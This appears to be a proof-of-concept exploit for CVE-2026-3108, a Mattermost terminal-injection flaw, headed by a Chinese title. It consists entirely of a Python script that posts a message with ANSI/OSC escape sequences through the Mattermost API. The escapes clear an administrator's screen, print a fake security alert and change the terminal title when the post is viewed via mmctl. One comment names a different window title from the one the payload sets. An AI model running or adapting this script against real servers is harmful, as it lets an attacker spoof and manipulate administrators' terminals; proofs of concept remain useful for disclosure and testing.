CVE-2026-3108 Mattermost终端命令注入漏洞

# PoC for CVE-2026-3108 Mattermost Terminal Injection # This script demonstrates sending a message containing ANSI/OSC escape sequences # to manipulate the administrator's terminal when viewed via mmctl. import requests # Configuration TARGET_URL = "https://mattermost.example.com/api/v4/posts" AUTH_TOKEN = "YOUR_TOKEN_HERE" CHANNEL_ID = "TARGET_CHANNEL_ID" # Payload explanation: # \033[2J : Clears the screen # \033[31m : Sets text color to red # \033]0;COMPROMISED\a : Changes the window title payload_text = "\033[2J\033[31mSECURITY ALERT: Terminal compromised via CVE-2026-3108\033[0m\n\033]0;HACKED\a" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } data = { "channel_id": CHANNEL_ID, "message": payload_text } # Send the malicious message response = requests.post(TARGET_URL, headers=headers, json=data) if response.status_code == 201: print("Payload sent successfully. Check mmctl output.") else: print(f"Failed to send payload: {response.text}")